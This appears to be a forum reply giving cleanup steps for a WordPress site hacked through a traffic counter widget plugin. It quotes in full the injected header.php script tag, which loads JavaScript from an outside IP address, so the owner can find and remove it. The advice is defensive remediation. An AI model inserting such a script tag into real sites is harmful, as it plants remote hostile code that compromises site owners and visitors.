You have been hacked. To immediately fix the problem login through ftp and rename your traffic counter widget plugin folder to something else like “OLD_traffic-counter-widget” Then navigate to your theme folder and open your header.php file and remove this line. <script type="text/javascript" src="http://122.155.168.105/ads/inpage/pub/collect.js"></script>
Once that is done you should be able to see your site and log in. You aren’t out of the woods yet, you need to download a security plugin that will scan your files, like sucuri or wordfence. You will need to do a fresh install and re install your plugins as well as your theme files. The problem is it will more than likely come back since they do not have a fix for it yet. Hope that helps.